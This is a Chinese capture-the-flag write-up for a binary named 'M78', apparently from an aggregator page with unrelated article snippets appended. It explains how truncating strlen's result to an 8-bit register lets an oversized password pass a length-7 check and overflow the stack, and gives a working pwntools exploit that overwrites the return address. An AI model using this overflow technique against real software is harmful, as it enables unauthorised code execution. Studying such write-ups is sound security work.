M78

news/2024/11/8 18:34:16/

首先我们发现了一个漏洞
在这里插入图片描述这里读入0x199大小的buf,而下面的check函把buf的内容付给dest,而dest大小显然溢出了
在这里插入图片描述但是我们发现这个题目有字符串长度限制必须等于7,我们要溢出至少需要34个字节,这就是这题的主要难点

strlen是一个统计字符串长度的函数 然后我们这次说的题就是关于strlen返回值造成溢出的问题,我们知道strlen是计算字符串长度的函数,但是很多人不知道srtlen的返回值是无符号整数

在32的系统中有这么一种情况strlen 的结果的返回值给8位寄存器al那么8位最多是多少? 255 如果我们多输入会怎么办
我们如果输入257二进制是多少呢000000001这个应该是没有什么好说的那么假如我们输入了257个字符那么最后统计的结果还是1,要满足7的条件也很好搞定
exp

from pwn import *
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
p = process("./M78")
elf = ELF("./M78")
system_addr = 0x8049202
p.recvuntil("Your choice?")
p.sendline("1")
p.recvuntil("Please choose a building")
p.send("lxonz")
p.recvuntil("Please input the password")
payload = 'a'*28+ p32(system_addr)
payload = payload.ljust(0x107, 'a')
gdb.attach(p)
p.send(payload)
p.recvuntil("Enjoy it~")
p.interactive()

http://www.ppmy.cn/news/514794.html

相关文章

与吉凯恩GKN建立EDI连接需要掌握哪些信息?

项目背景 GKN集团(吉凯恩集团)创建于1759年,已有260年的历史。主要业务有大型民航客机和运输机结构件,汽车传动系统,非高速公路用工作车辆和特种车辆,农用机械,粉末冶金,新型合金粉…

伊士曼将在法国建立分子塑料回收设施;吉凯恩粉末冶金公司任命新任首席执行官 | 能动...

石油和化工 Celgard和Farasis达成和解。Polypore International, LP旗下子公司Celgard, LLC(以下简称“Celgard”)就其在美国加利福尼亚州北区联邦地区法院(NDCA)针对多个Farasis被告提起的专利诉讼成功达成和解。Celgard及此项诉讼中列出的所有Farasis实体已就Celgard和Farasi…

凯恩斯显灵啦!

昨天到超市买东西,竟然花了1000块,感觉跟以前花300块买到的东西差不多,难道物价真的涨了那么多?排队结帐,看到账单的时候,吓了一跳,刹那间,想到了凯恩斯的一句话: 通过连…

PASCAL语言创始人:尼克劳斯.威茨

来自:CSDN 学过计算机的人大都知道“算法数据结构程序”这一著名公式,提出该公式的正是1984年的图灵奖获得者,瑞士计算机科学家尼克劳斯•威茨(Niklaus Wirth)。到目前为止,他是获得图灵奖殊荣的惟一瑞士学者。 威茨于1934年2月…

文学见识(含图灵奖历届指引)--目录

手动点击,无须翻阅:) 64、2020年图灵奖Jeffrey David Ullman和Alfred Vaino Aho简介 63、2019年图灵奖Edwin E. Catmull和Patrick M. Hanrahan简介 62、2018年图灵奖–约书亚本吉奥、杰弗里埃弗里斯特辛顿和Yann LeCun简介 61、2017年图灵奖–大卫帕特森和约翰轩尼诗…

书单推荐2020-07-06

书单推荐 1、人类思想史上第一个乌托邦方案——柏拉图的《理想国》 2、剥削阶级政治学体系的发端——亚里士多德的《政治学》 3、印度古代法律的珍贵文献——《摩奴法典》 4、钦定罗马私法教科书——查士丁尼的《法学总论》 5、首先摆脱神学的政治学——马基雅维里的《君主论》…

凯恩斯主义(扩张性财政政策)的深远影响--美国股市百年(二)

作者 | 杨丽敏 编辑 | Dave 董雯雪 视觉 | 任染 这是 「禾穗HERS女性商学院」的第 061 篇原创 由于疫情对经济的深远影响,全球开始新一轮财政扩张,全面开启量化宽松模式。 今天早晨看到最新消息,美联储开启无限量QE模式。通过各种金融…

凯恩帝数控系统面板介绍_KND凯恩帝数控系统说明书

3.3 刀补值的调整: X轴:凡是加工出来的工件尺寸(直径)比要求尺寸大时,在刀补的【刀补】页面中相应 的刀补号上输入(U-)负的增量刀补值;凡是加工出的工件尺寸(直径)比要 求尺 寸小时,输入(U+)正的增量刀补值…